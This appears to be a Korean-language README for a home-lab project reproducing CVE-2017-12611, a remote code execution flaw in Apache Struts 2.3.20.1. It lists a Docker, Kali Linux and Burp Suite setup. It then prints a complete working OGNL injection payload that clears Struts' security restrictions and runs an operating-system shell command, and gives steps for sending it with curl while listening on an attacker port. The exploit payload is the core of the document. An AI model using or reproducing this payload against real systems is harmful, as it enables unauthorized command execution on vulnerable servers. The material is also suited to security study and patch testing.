CVE-2017-12611 프로젝트

개요:

주어진 페이로드로 RCE 공격이 가능합니다.

환경 및 도구

다음은 개인 격리 실험실에서 테스트 및 검증에 사용된 환경 및 도구 목록입니다.

• 호스트 OS: Ubuntu 18.04.6
• 공격자 OS: Kali Linux
• 컨테이너 플랫폼: Docker
• 대상 애플리케이션 스택: Apache Struts 2.3.20.1
• 추가 구성 요소: Burp Suite

환경 설정:

다음 명령어를 사용하여:

docker compose up -d 

환경을 실행할 수 있습니다. 그런 다음 http://<YOUR_IP>:8080/hello.action에 접속하면 제출 페이지를 볼 수 있습니다.

페이로드:

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

RCE 공격을 실행하려면 Burp Suite를 사용해야 합니다. Burp Suite를 사용하는 동안 페이로드를 제출하세요. 페이로드를 제출한 후 올바른 로그(POST)를 찾아 curl 명령어로 변환하십시오. 마지막으로, 공격자 머신을 열고 리스너 포트에서 curl 명령어를 보낸 후 포트에서 수신 대기하십시오.

참고사항:

검열된 부분은 IP 주소입니다.